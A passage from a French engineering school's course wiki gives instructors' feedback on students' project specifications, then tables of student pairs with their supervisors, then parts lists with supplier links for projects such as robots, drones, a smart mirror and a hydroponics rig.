| P7 [[Journée IMA]]
| Un cahier des charges finalement correct fin décembre.
|
|
|
|
|
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| P9 [[Tableau blanc interactif]]
| Cahier des charges correct, le projet semble être spécifié. Une rencontre avec l'encadrant. Attention tout de même au coté très ouvert du sujet. Un embryon de liste de matériel. Il faut donner des références pour la caméra par exemple.
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| P10 [[Réseau de capteurs longue distance]]
| Quelques coquilles de rédaction. Le sujet est décrit mais on pourrait souhaiter plus de détail. Une illustration.Quelques mention du matériel mais pas de liste.
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| P12 [[Robots mobiles pour Arduino]]
| Un cahier des charges finalement très correct.Pas de liste précise du matériel.
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| P16 [[Miroir intelligent]]
| Cahier des charges très correct même si on pourrait demander des précisions sur les retouches à apporter à l'image. Correctement rédigé, un effort de mise en forme. Une liste de matériel.
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| P21 [[Robot autonome pour cartographie]]
| Cahier des charges correct. Attention à bien identifier des tâches à réaliser ne dépendant pas du projet des CM5. Préciser ce système de tags pour calibrer la position du robot. Une liste de matériel.
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| P23 [[Matelas connecté]]
| Bel effort de présentation d'un cahier des charges pour un sujet très "ouvert". Rédaction très correcte. Une inquiétude sur la possibilité d'obtenir le matériel. Merci de mettre à jour le cahier des charges après la rencontre avec l'industriel.
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| P27 [[BIOLOID commandé par Arduino]]
| Les grandes lignes sont définies. Quand vous parlez de commander le robot sans logiciel vous voulez dire commander le robot sans logiciel propriétaire ? Le cahier des charges est un peu court. Préciser l'environnement de développement C des Bioloid et l'interface entre l'Arduino et les servos-moteurs.
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| P28 [[Imprimante 3D multi-fils]]
| Le cahier des charges est correct, vous avez contacté votre encadrant. Précisez que la solution de soudure de segments de filaments vient de vos encadrants ? Etablissez une liste du matériel nécessaire.
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| P29 [[Aide anti-gaspillage alimentaire]]
| Pas de différence notable avec le sujet initial. Un doute sur l'intérêt d'un portable pour la lecture des étiquettes. Un autre doute sur la possibilité de cette lecture. La date d'expiration est généralement difficile à trouver et mal imprimée, quelles solutions envisagez-vous ? Aucune modication entre le 3 décembre et fin janvier.
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| P30 [[Micro-robots auto-organisés]]
| Une bonne description du projet et du but à atteindre. Un doute sur les moteurs choisis (non commandable par l'université d'ailleurs) : ce sont des moteurs très rapides. Des réflexions avancées sur le matériel. Il reste à trouver des références exploitables.
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| P32 [[Veilleuse enfant connecté]]
| Cahier des charges très correct. Bien rédigé. Clairement le projet a été bien appréhendé. Une liste du matériel avec des références.
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| P34 [[Jeu de plateforme tangible]]
| Enfin un cahier des charges à peu près correct fin janvier.
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| P37 [[Interface de communication entre robots]]
| Cahier des charges correct. Quelques coquilles manque de formatage.
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| P38 [[Hydroponie]]
| Un cahier des charges finalisé très tardivement fin janvier.
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| P39 [[Dirigeable publicitaire]]
| Cahier des charges très correct. Pour l'hélium il faudrait contacter le fournisseur de l'université pour un devis. Vous pouvez commencer à concevoir la nacelle avec les hélices. Il faut aussi trouver des références pour la liste du matériel.
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| P41 [[Drone et occulus rift]]
| Un Wiki illustré et formaté correctement. Toujours aucune précision sur la connexion entre l'occulus rift et le drone.
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| P42 [[Mini-drones]]
| Cahier des charges correct. Un effort d'illustration avec un schéma. Vous pouvez commencer à manipuler le SDK des mini-drônes, ces derniers sont disponibles en E306.
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| P43 [[SmartMeter, gestion de consommation électrique]]
| Bel effort de Wiki vu le retard pris pour la rédaction du cahier des charges. Je pense qu'il y a une confusion sur la signification de "puissance effective". Mettre à jour le Wiki après entretien avec Guillaume Renault. Au 27 janvier toujours en attente d'une réelle étude du sujet.
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| P44 [[Le marteau de Thor]]
| Projet enfin attaqué fin décembre. Un vrai cahier des charges, très correct.
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| P45 [[Orchestre électronique]]
| Projet correctement appréhendé. Le cahier des charges est précisé dans ses grandes lignes. Une partie sur les instruments reste à affiner mais c'est normal. Essayez de trouver une référence pour les dispositifs MIDI à connecter à la RaspBerry Pi. Ces dispositifs sont fondamentaux pour lancer le projet.
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| P47 [[Commande d'une suspension magnétique]]
| Un cahier des charges enfin correct le 4 janvier 2016.Pourriez-vous mettre en perspective votre projet par rapport à celui de 2012/2013 [[Suspension_magnétique_2013]] ?
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|}

Projets IMA4 SC & SA 2015/2016

2016-02-06T14:36:38Z

Jbielle : /* Matériel à acquérir */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en demandant une modification du format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

{| class="wikitable"
! Projet !! Encadrants école !! Elèves
|-
| P0 [[Commande USB par micro-contrôleur]]
| Xavier Redon
| Arnaud DESHAYS
|-
| P4 [[Train de véhicules]]
| Xavier Redon
| Manuel BUENO / Maureen GILLET
|-
| P5 [[Imprimante 3D à chocolat]]
| Emmanuelle Pichonat / Alexandre Boé
| Hugo VANDENBUNDER / Sylvain VERDONCK
|-
| P6 [[Zone de sécurité pour vélo]]
| Alexandre Boé / Thomas Vantroys
| Martin CLAVERIE / Victor CHARNET
|-
| P7 [[Journée IMA]]
| Emmanuelle Pichonat / Alexandre Boé
| Michel MIKHAEL
|-
| P9 [[Tableau blanc interactif]]
| Emmanuelle Pichonat / Alexandre Boé / Thomas Vantroys
| Romuald LENTIEUL / Léo MAZIER
|-
| P10 [[Réseau de capteurs longue distance]]
| Alexandre Boé / Thomas Vantroys
| Sonia NDUWAYO / Cong CHEN
|-
| P12 [[Robots mobiles pour Arduino]]
| Emmanuelle Pichonat / Alexandre Boé
| Audrey AFFOYON / Leticia STEPHANES LIMA
|-
| P16 [[Miroir intelligent]]
| Alexandre Boé / Thomas Vantroys
| Valentin BEAUCHAMP / Guillaume VILLEMONT
|-
| P21 [[Robot autonome pour cartographie]]
| Alexandre Boé / Xavier Redon / Thomas Vantroys
| Pierre MICHEL / Alexandre DESCAMD
|-
| P23 [[Matelas connecté]]
| Nathalie Rolland / Alexandre Boé / Thomas Vantroys
| Vincent ROBIC / Morgan OBEISSART
|-
| P27 [[BIOLOID commandé par Arduino]]
| Blaise Conrard
| Quentin GRUSON / Jordan RAZAFINDRAIBE
|-
| P28 [[Imprimante 3D multi-fils]]
| Antoine Urquizar / Alexandre Boé
| Antonin CLAUS / Cédric DUVAL
|-
| P29 [[Aide anti-gaspillage alimentaire]]
| Alexandre Boé / Thomas Vantroys
| Florian GIOVANNANGELI / Pierre FITOUSSI
|-
| P30 [[Micro-robots auto-organisés]]
| Alexandre Boé / Xavier Redon
| Corentin CASIER / Julie DEBOCK
|-
| P32 [[Veilleuse enfant connecté]]
| Thomas Vantroys
| Romain RUET / Julien BIELLE
|-
| P34 [[Jeu de plateforme tangible]]
| Alexandre Boé / Thomas Vantroys
| Stéphane MAIA / Maxime SZWECHOWIEZ
|-
| P37 [[Interface de communication entre robots]]
| Rochdi Merzouki
| Vianney PAYELLE
|-
| P38 [[Hydroponie]]
| Alexandre Boé
| Nicolas WEGRZYN
|-
| P39 [[Dirigeable publicitaire]]
| Xavier Redon
| Julien JOIGNAUX / Loïc DELECROIX
|-
| P41 [[Drone et occulus rift]]
| Jérémie Dequidt
| Geoffrey PIEKACZ / Nathan RICHEZ
|-
| P42 [[Mini-drones]]
| Xavier Redon
| Valentin TAFFIN / Alexandre CUADROS
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
| Guillaume Renault / Alexandre Boé / Xavier Redon
| Haroun ABDELALI / Charlène DA COSTA NETO
|-
| P44 [[Le marteau de Thor]]
| Emanuelle Pichonat
| Matthieu HERWEGH / Kevin LE VAN PHUNG
|-
| P45 [[Orchestre électronique]]
| Lucas Prieux / Xavier Redon / Thomas Vantroys
| Thomas ROJ / Joshua LETELLIER
|-
| P47 [[Commande d'une suspension magnétique]]
| Aziz Nakrachi
| Hongyu ZHANG / Weixing JIN
|}

== Matériel à acquérir ==

{| class="wikitable"
! Projet !! Matériel
|-
| P0 [[Commande USB par micro-contrôleur]]
|
|-
| P4 [[Train de véhicules]]
|
LEDs IR (x20), RS [http://fr.rs-online.com/web/p/led-ir/6548334/], 
Phototransistors IR (x20), RS [http://fr.rs-online.com/web/p/phototransistors/6655388/], 
Drivers moteur Pololu (x1), GoTronic [http://www.gotronic.fr/art-commande-de-2-moteurs-tb6612fng-2x1a-21716.htm], 
Drivers moteur TB6612FNG (x3), Mouser [http://www.mouser.fr/ProductDetail/Toshiba/TB6612FNGOC8EL/?qs=VMlqFFbv3sQEQqYF0HJbow%3D%3D], <br\>
Borniers à vis (x15), Farnell [http://fr.farnell.com/camdenboss/ctb0502-2/bornier-carte-a-fil-2-voies-12awg/dp/2493622?MER=en-me-sr-b-all], <br\>
Résistances 220 Ohms CMS (x6), Mouser [http://www.mouser.fr/ProductDetail/Vishay-Dale/CRCW0603220RFKEA/?qs=sGAEpiMZZMtlubZbdhIBIKySljYCMs0HAiopx1mcVY0%3d], <br\>
Résistances 470 kOhms CMS (x20), Mouser [http://www.mouser.fr/ProductDetail/Panasonic/ERJ-3GEYJ474V/?qs=sGAEpiMZZMtlubZbdhIBIDkNbKahCB4%252bXwMzav7V8qQ%3d],
<br\>LEDs couleur (x10), RS [http://fr.rs-online.com/web/p/led/8134845/], <br\>
Fils m-m (x1 lot de 65), Farnell [http://fr.farnell.com/multicomp/mcbbj65/assortiment-de-jumper-fil-65pcs/dp/2396146], <br\>
Capas 10uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Murata-Electronics/ZRB18AR61C106ME01L/?qs=sGAEpiMZZMs0AnBnWHyRQPHsfd5klL7FP%2fi0oh%252bVTwkomqr6NYKsqQ%3d%3d], <br\>
Capas 0.1uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Kemet/C0603C104K4RACTU/?qs=sGAEpiMZZMs0AnBnWHyRQFqPnX0OlvcoGdtRY%252bgH1%2fs%3d], <br\>
Embases CI 40 contacts 1 rangée (x4) RS [http://fr.rs-online.com/web/p/embases-de-circuit-imprime/4232841/], <br\>
 Arduino Uno (x3) [01/02/2016], <br\>
ESP8266 (x1) [01/02/2016], <br\>
Chassis 2WD (x4) [01/02/2016], <br\>
Capteurs Ultrasons SR04 (x3) [01/02/2016], <br\>
Piles ou accumulateurs (x16 à 1.5V) [01/02/2016], <br\>
Odomètres codeurs (x8) [03/02/2016], <br\>
Boutons poussoirs (x3) [01/02/2016], <br\>
Shield Arduino + Breadboard (x3) [01/02/2016], <br\>
Colliers de serrage [01/02/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P4.ods]].
|-
| P5 [[Imprimante 3D à chocolat]]
|
Electrovanne, RS [http://fr.rs-online.com/web/p/vannes-solenoides/2551496683/], 
Capteur de température, Mouser [http://www.mouser.fr/ProductDetail/Microchip-Technology/TC1047VNBTR/?qs=sGAEpiMZZMucenltShoSnjkfRJmEyKRQimeb4yJa%2fn8%3d], 
Fil résistif, RS [http://fr.rs-online.com/web/p/cable-industriel-multiconducteur/7496348/], 
Tuyau Clair, Diam.int 2,8mm, RS [http://fr.rs-online.com/web/p/tuyaux-dair/7747018/], 
Capteur de pression, Mouser [http://www.mouser.fr/ProductDetail/EPCOS-TDK/B58601E3215B580/?qs=sGAEpiMZZMvhQj7WZhFIAEcnfodwemFjFFuwDryPIpY%3d], 
Tube en cuivre, Diam.int 26mm, Leroy Merlin,[http://www.leroymerlin.fr/v3/p/produits/tube-d-alimentation-cuivre-diam-26-x-28-mm-en-barre-de-1-m-e8989], 
Raccord en té, RS [http://fr.rs-online.com/web/p/adaptateurs-tube-a-tube-en-t/7715752/], 
Ventilateurs type PC, 
Imprimante 3D, Fabricarium, 
Raccords et buses, imprimés 3D, 
Arduino UNO [04/02/2016], 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P5.ods]].
|-
| P6 [[Zone de sécurité pour vélo]]
|
Module Laser ligne (x3), Gotronic [http://www.gotronic.fr/art-module-laser-hlm1230-19016.htm], 
 Raspberry Pi 2 [01/02/2016], 
 Module caméra pour Raspberry Pi [01/02/2016] , 
 Dongle Bluetooth [01/02/2016] , 
Batterie(Accus), RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], 
Embase à connecteur USB (x4 femelle) (x4 mâle) [01/02/2016], 
Cordon USB mâle-femelle (x4), Gotronic [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm], 
Téléphone sous Android [01/02/2016] , 
Capteur de distance (ultrasons), Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], 
LED neopixel*8 (x4), Mouser [http://www.mouser.fr/ProductDetail/Adafruit/1426/?qs=sGAEpiMZZMu%252bmKbOcEVhFQfi8wYXkauJZrA7E1oPdUbRYeHGihkBqQ%3d%3d]. 
|-
| P7 [[Journée IMA]]
|
Plaques de plexiglas (x5) (à part Gotronic, aucun magasin ne le propose) [http://www.gotronic.fr/art-plaque-lexan-lex20-11856.htm], 
Réseau de 8 transistors ULN2803A (x4), Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/ULN2803A/?qs=sGAEpiMZZMvAvBNgSS9LqpP7ived4CP2] 
Résistance 10kohm (x75), 
Résistance 1kohm (x25), MAGASIN POLYTECH [http://melectro.polytech-lille.net/main.php?p=consultation&np=3], 
AOP 74HC574 (x15), Mouser (pas de stock en MAGASIN) [http://www.mouser.fr/ProductDetail/Texas-Instruments/SN74HC574N/?qs=sGAEpiMZZMvxP%252bvr8KwMwBnwYCvkZxeQoMRe0GOGaSg%3d], 
AOP 74HC138 (x4), MAGASIN POLYTECH , 
Condensateur 22pF (x5), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation&np=7], 
Condensateur 1uF (x25), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation], 
Condensateur 1000uF (x5), RS (Pas de stock en MAGASIN) [http://fr.rs-online.com/web/p/condensateurs-aluminium/5261446/?origin=null|fp&cm_sp=featureproducts-_-FeaturedProductsContent-_-5261446m], 
Condensateur 10uF (x4), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation&np=4], 
Condensateur 100uF (x3), 
Reseaux de résistance 10kohm (x5), farnell [http://fr.farnell.com/vishay/vsor1601103jtf/reseau-de-resistance-10k/dp/1203468], 
Transistor CMS (x25), farnell [http://fr.farnell.com/diodes-inc/bc848b-7-f/transistor-npn-sot23/dp/1773620], 
Transistor (x25), farnell [http://fr.farnell.com/on-semiconductor/bc548brl1g/transistor-npn-30v-100ma-to-92/dp/2317545], 
Microcontroleur MBED (x1), RS [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7039238/], 
Supercondensateur (x4), Mouser [http://www.mouser.fr/ProductDetail/Maxwell-Technologies/BCAP0010-P270-T01/?qs=sGAEpiMZZMuoE%252bleORarXmfAVBuwwvGh], 
LED IR, (x6), RS [http://fr.rs-online.com/web/p/led-ir/8108247/], 
LED (x15), 
Mini moteur électrique (x3), gotronic [http://www.gotronic.fr/art-moteur-miniature-rm2-avec-pignon-12009.htm], 
support d'AOP (x15) (Magasin électronique POLYTECH Lille) , 
E-theremin (projet IMA4 2014-2015), 
Arduino UNO , 
Raspberry PI , 
BreadBoard , 
Dé électronique communicant(projet IMA4 2014-2015).
|-
| P9 [[Tableau blanc interactif]]
|
Manette Wiimote [27/01/2016], 
Vidéo projecteur, 
Adaptateur Bluetooth USB [27/01/2016], 
Led infrarouge [27/01/2016], 
Raspberry Pi [03/02/2016].
|-
| P10 [[Réseau de capteurs longue distance]]
|
50 aimants néodyne épaisseur 1,5mm, diamètre 3mm , 
1 plaque MDF pour les pièces de puzzle, 
<ul>
<li> Partie micro-contrôleur : 
micro-contrôleur de type ATMEGA328P, FARNELL [http://fr.farnell.com/atmel/atmega328-pu/micro-8-bits-avr-32k-flash-28pdip/dp/1972087], 
1 résistance CMS 10K, 
1 résistance CMS 1K, 
1 résistance CMS 1M, 
3 capacités CMS 100n, 
1 diode CMS, 
2 LEDs , 
1 quartz, FARNELL [http://fr.farnell.com/iqd-frequency-products/lfxtal003240/quartz-16mhz/dp/9713700], 
4 piles de 1,5v AAA, 
1 pile de 9V, 
1 support 4 piles AAA à souder, 
1 support pile 9V à souder, 
1 bouton poussoir (reset), 
1 fil de cuivre pour antenne, 
1 capteur de température.
</li>
<li> Partie alimentation : 
1 résistance CMS 10K, 
1 résistance CMS 1K, 
1 capacité CMS 100n, 
1 capacité CMS 1u, 
2 capacité découplage CMS 47u, 
1 capacité CMS 100n, 
1 capacité CMS 1u, 
1 diode CMS, 
2 LEDs jaune et verte, 
1 transistor, RS ONLINE [http://fr.rs-online.com/web/p/transistors-mosfet/6710435/], 
2 amplificateurs, RS ONLINE [http://fr.rs-online.com/web/p/amplificateurs-operationnels/0426051/], 
1 régulateurs de tension NCP, RS ONLINE [http://fr.rs-online.com/web/p/regulateurs-de-tension-a-faible-chute-ldo/8022130/?searchTerm=regulateur+de+tension+NCP1117ST50T3G&relevancy-data=636F3D3126696E3D4931384E4C446573634D504E266C753D6672266D6D3D6D617463687061727469616C6D617826706D3D5E5B5C707B4C7D5C707B4E647D5C707B5A737D2D2C2F255C2E5D2B2426706F3D393326736E3D592673743D4B4559574F52445F4D554C54495F414C5048415F4E554D455249432673633D592677633D4E4F4E45267573743D726567756C61746575722064652074656E73696F6E204E4350313131375354353054334726], 
1 régulateur de tension DC, RS ONLINE [http://fr.rs-online.com/web/p/regulateurs-de-tension-lineaires/7140792/], 
1 régulateur de tension TPS, RS ONLINE [http://fr.rs-online.com/web/p/regulateurs-de-tension-a-faible-chute-ldo/0527340/].
</li>
<li> Partie radio : 
module radio de type RF-LORA-868-SO, RS ONLINE [http://fr.rs-online.com/web/p/modules-rf-faible-consommation/9033034/?origin=PSF_437731%7Cacc].
</li>
</ul>
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P10.ods]].
|-
| P12 [[Robots mobiles pour Arduino]]
|
2 paires de roues de 65 mm de diamètre [http://www.gotronic.fr/art-paire-de-roues-jaunes-tam6626j-19346.htm], 
2 moteurs [03/02/2016], 
1 capteur ultrasons [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], 
1 capteur de température [http://www.mouser.fr/ProductDetail/Analog-Devices/TMP36GT9Z/?qs=sGAEpiMZZMv9Q1JI0Mo%2ftZYNPIqRJ81F], 
1 capteur de lumière [http://www.gotronic.fr/art-photoresistance-5-mm-vt93n2-22551.htm], 
1 paquet de 4 piles AA [http://fr.farnell.com/energizer/635730/batterie-extreme-ni-mh-aa-2300mah/dp/2075717], 
2 résistances de 330 Ω [disponible en B204], 
2 transistors [disponible en B204], 
2 diodes [disponible en B204], 
1 haut parleur, 
2 leds rouges [disponible en B204], 
2 leds jaunes [disponible en B204], 
1 breadboard, 
Un arduino UNO [03/02/2016], 
Un boitier de 4 piles AA [http://www.mouser.fr/ProductDetail/Eagle-Plastic-Devices/12BH348-CS-GR/?qs=sGAEpiMZZMsRxHb9hCd0qoPCXJRSAWxUgxweyALoa2Q%3d]
|-
| P16 [[Miroir intelligent]]
|
Raspberry Pi 2 [27/01/2016], 
Clé WiFi [27/01/2016], 
Câble USB-microUSB [27/01/2016], 
Carte SD [27/01/2016], 
Câble HDMI, 
Ecran : Amazon [http://www.amazon.fr/BenQ-Ecran-PC-LED-27/dp/B00HZF2ME0/ref=sr_1_1?ie=UTF8&qid=1451984469&sr=8-1&keywords=BenQ+GL2760H#productDetails] ou RS [http://fr.rs-online.com/web/p/moniteurs/8962732/], 
Miroir sans tain de la taille de l'écran, tapplastics [http://www.tapplastics.com/product/plastics/cut_to_size_plastic/two_way_mirrored_acrylic/558], 
Matrice de led tactile 40pouces.
|-
| P21 [[Robot autonome pour cartographie]]
|
Raspberry Pi 2 - [03/02/2016]. 
Carte SD - [03/02/2016]. 
Arduino UNO - [03/02/2016]. 
Clef WiFi pour mesure RSSI (x3) - [03/02/2016]. 
Capteur ultrason, Gotronic : [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm]. 
Servomoteur, Gotronic : [http://www.gotronic.fr/art-servomoteur-s05nf-21481.htm]. 
Pilote de moteur (x5), Mouser : [http://eu.mouser.com/ProductDetail/Freescale-Semiconductor/MC34931EK/?qs=sGAEpiMZZMvQcoNRkxSQkiOBqyFfjGe5mG1PBZLkPLE%3d]. 
Résistance 270 Ohm (x10), Mouser : [http://www.mouser.fr/ProductDetail/TE-Connectivity-Holsworthy/3521270RFT/?qs=sGAEpiMZZMu61qfTUdNhG15ROd0nQ7Wlf0zCDKWeZ5snBOgjDqh8dA%3d%3d]. 
Capacité 100 uF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-100-nf-66.htm]. 
Capacité 100 nF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-100-nf-66.htm]. 
Capacité 33 nF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-33-nf-3267.htm]. 
Capacité 1 uF (x5), Gotronic : [http://www.gotronic.fr/art-condensateur-lcc-1-uf-3274.htm]. 
Câble USB 2m (x1 ou x2), Gotronic : [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm]. 
Fourche optique (x2), Gotronic : [http://www.gotronic.fr/art-interrupteur-optique-gp1a57hrj00f-21001.htm]. 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P21.ods]].
|-
| P23 [[Matelas connecté]]
|
Neopixel [4 fournis le 03/02/2016], 
RFduino [2 fournis le 03/02/2016], 
Capteur de température DS18B20 1-Wire [1 fourni le 03/02/2016], 
Résistance 4K7 [1 fournie le 03/02/2016], 
|-
| P27 [[BIOLOID commandé par Arduino]]
|
Non inverting buffer 74HC126 x2 [http://www.mouser.fr/ProductDetail/NXP-Semiconductors/74HC126D653/?qs=sGAEpiMZZMuiiWkaIwCK2RTxPVPWGz6WVfjhJh2Mav0%3d], 
Ardoise magnétique, 
Kit bioloid 
Carte Arduino Uno [27/01/2016]
|-
| P28 [[Imprimante 3D multi-fils]]
|
moteur NEMA 17 x6 [http://www.gotronic.fr/art-moteur-17hm15-0904s-23049.htm], 
Driver NEMA 17 x6 [http://www.gotronic.fr/art-driver-de-moteur-pas-a-pas-drv8834-2134-22274.htm], 
Engrenage x6 [http://www.banggood.com/fr/1_75MM-8MM-MK7-Extruder-Drive-Gear-Bore-For-3D-Printer-Accessories-p-1013103.html], 
Roulement x6 [http://www.gotronic.fr/art-roulement-35-15-11mm-161.htm], 
Courroie GT2, 
Thermistance NTC100K, 
Arduino. 
|-
| P29 [[Aide anti-gaspillage alimentaire]]
|
Un Smartphone sous Android.
|-
| P30 [[Micro-robots auto-organisés]]
|
Un microcontrôleur Atmega 328P-au x2 (farnell) [http://fr.farnell.com/atmel/atmega328p-au/micro-8-bits-avr-32k-flash-32tqfp/dp/1715486?selectedCategoryId=&exaMfpn=true&categoryId=&searchRef=SearchLookAhead],
<br\>Moteur vibreur x4 (mouser) [http://www.mouser.fr/ProductDetail/Parallax/28821/?qs=sGAEpiMZZMsv3%2fxVbQiciD2XahQ7lqLvcbiE4XVIbwo%3d],<br\>
Batterie lithium ion x2 (farnell) [http://fr.farnell.com/bak/18650ca-1s-3j/batterie-lithium-ion-3-7v-2250/dp/2401852?MER=BN-2401852], <br\>
Chargeur de batterie lithium ion x2 (farnell) [http://fr.farnell.com/microchip/mcp73834-fci-un/controleur-de-charge-li-ion-li/dp/1332162],<br\>
Régulateur de tension x2 (farnell) [http://fr.farnell.com/microchip/mcp1826s-3002e-db/ic-ldo-3-0v-1a-sot-223-3/dp/1578422],<br\>
Mini usb connecteur x2 (farnell) [http://fr.farnell.com/mill-max/896-43-005-00-100001/mini-usb-2-0-type-a-receptacle/dp/1925238],<br\>
Photo transistor x16 (farnell) [http://fr.farnell.com/kingbright/l-53p3c/phototransistor-5mm-940nm/dp/2290444?selectedCategoryId=&exaMfpn=true&categoryId=&searchRef=SearchLookAhead],<br\>
LED infrarouge x8 (farnell) [http://fr.farnell.com/kingbright/l-934f3c/emetteur-ir-t-1/dp/2290438],<br\>
LED verte x2 [http://fr.farnell.com/vishay/vlmg31k1l2-gs08/led-plcc2-green/dp/1328317], <br\>
LED rouge x4 [http://fr.farnell.com/toshiba/tlsh1100b-t11/led-rouge-plcc2-260mcd/dp/1761592],<br\>
LED bleu x2 [http://fr.farnell.com/vishay/vlmb41p1q2-gs18/led-plcc2-bleu/dp/1648564],<br\>
Interrupteur x2, <br\>
Transistor NPN CMS x4 (lot de 5) (farnell) [http://fr.farnell.com/fairchild-semiconductor/pzta42/transistor-npn-sot-223/dp/9846654], <br\>
Diode x4 (farnell) [http://fr.farnell.com/diodes-inc/bav21w-7-f/diode-commutateur-200v-0-25w-sod123/dp/1858652],<br\>
condensateurs 1uF x18 (farnell) [http://fr.farnell.com/avx-formerly-known-as-nichicon/f931c105maa/tantalum-capacitor-1uf-16v-7-5/dp/1818580], <br\>
résistances 470 Ohm x10 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-470r-1-100-ppm-k-e3/res-couche-epaisse-470r-1-0-5w/dp/1877845], <br\>
résistances 4,7 kOhm x16 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-4k7-1-100-ppm-k-e3/res-couche-epaisse-4-7k-1-0-5w/dp/1877852RL], <br\>
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P30.ods]].
|-
| P32 [[Veilleuse enfant connecté]]
|
Raspberry Pi 2 [27/01/2016], 
Clé WiFi Wi-Pi [27/01/2016], 
Câble USB-microUSB [27/01/2016], 
Carte SD [27/01/2016], 
Câble HDMI [27/01/2016], 
Pico-projecteur ASUS S1 [27/01/2016], 
Petit microphone (farnell) [http://fr.farnell.com/pro-signal/abm-715-rc/electret-microphone-omni-leads/dp/2066501], 
Un capteur de température [Disponible a l'école].
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P32.ods]].
|-
| P34 [[Jeu de plateforme tangible]]
|
Raspberry Pi 2 [27/01/2016], 
Webcam pour Raspberry Pi 2[27/01/2016]. 
|-
| P37 [[Interface de communication entre robots]]
|
Robotino (Robocup).
|-
| P38 [[Hydroponie]]
|
Un sac de billes d'argile : [http://www.ebay.fr/itm/Sac-de-Billes-d-argile-5L-substrat-de-culture-pour-plantes-amendement-/380377359803], 
Un pot panier : [http://www.indoorgardens.fr/fr/pots-panier-aero/207-pot-panier-teku-souple-5cm-2-pouces-123.html][http://www.cityplantes.com/pots-carres/774-pot-carre-godet-7x7xh8cm.html], 
Un bac réservoir d'eau : [http://www.lorvert-paris.com/growshop-hydroponique-culture-indoor/systeme-hydroponique/bac/nutrisystem-bac-reserve/255.html], 
Une plaque en PVC : [http://www.leroymerlin.fr/v3/p/produits/plaque-pvc-expanse-100x50cm-ep-3mm-e162646], 
Un caisson (disponibilité au fab ?), 
Deux m² de laine de roche : [http://www.castorama.fr/store/Panneau-laine-de-roche-Rocflam-ep30mm-PRDm474800.html?isSearchResult=true&navAction=jump], 
Un capteur d'humidité : [http://fr.farnell.com/multicomp/hcz-d5-a/capteur-humidite-20-90-rh-5/dp/1891428], 
Un ventilateur : [http://www.culture-dinterieur.fr/extracteur-intracteur-ventilateur-160m3-adda/product_info.php/products_id/2073], 
Deux capteurs ne niveau : [http://fr.farnell.com/ist-innovative-sensor-technology/fs1l-a-1l-195/capteur-de-fluide-moule/dp/1266955], 
Une pompe à air avec diffuseur : [http://www.aquaprems.com/pack-complet-pompes-a-air-aquarium/489-pack-complet-pompe-a-air-bulleur-aquarium.html], 
Une résistance chauffante : [http://www.stego.de/fr/produits/chauffer/resistances-chauffantes/15-w-a-150-w.html], 
Quatre LEDs RGB : [http://fr.rs-online.com/web/p/led/8294310P/], 
Une pompe à eau : [http://www.aqua-store.fr/pompes-a-eau-aquarium-eau-de-mer/1990-eden-pompe-105-4010052571607.html], 
Une batterie : [http://www.solar-kit.com/epages/62035995.sf/fr_FR/?ObjectPath=/Shops/62035995/Products/BAPLAG127.225-batterie-solaire-7ah], 
Un MPPT : [http://www.cdiscount.com/auto/outillage-auto/20a-mppt-panneau-solaire-regulat-charge-controlle/f-13399-auc8405971088286.html?idOffre=81825404#mpos=2|mp], 
Un système goutte à goutte : 2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1031-jonction-4mm-tee.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1038-bouchon-90-micro-diametre-16.html],2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1030-jonction-4mm-auto-percante.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1033-couronne-tuyau-capillaire-20m-3x5mm.html], 
Un Arduino Uno, 
Un panneau solaire, 
Un plant de fraise. 
|-
| P39 [[Dirigeable publicitaire]]
|
Un arduino UNO [03/02/2016] , 
Une enveloppe imperméable (A VERIFIER), 
9 m3 d'hélium (lien du devis :[[https://projets-ima.polytech-lille.net:40079/mediawiki/index.php?title=Dirigeable_publicitaire#Devis_pour_l.27h.C3.A9lium]]),Air Liquide [27/01/2016], 
Accessoires de drone HS (hélices, moteurs) [27/01/2016], 
10 x Capteurs à ultrasons, Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], 
Alim ARDUINO 5V 5000mAh, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], 
Alim moteurs (chez Parrot - hors sites autorisés), 
Ballon gonflable à l'hélium [http://www.ballon-helium.com//ballon-geant-chloroprene-180/ballon-chloroprene-unis-mat-1-20m-12661.html], 
|-
| P41 [[Drone et occulus rift]]
|
Une plaque à essai pour nos tests [01/02/2016], 
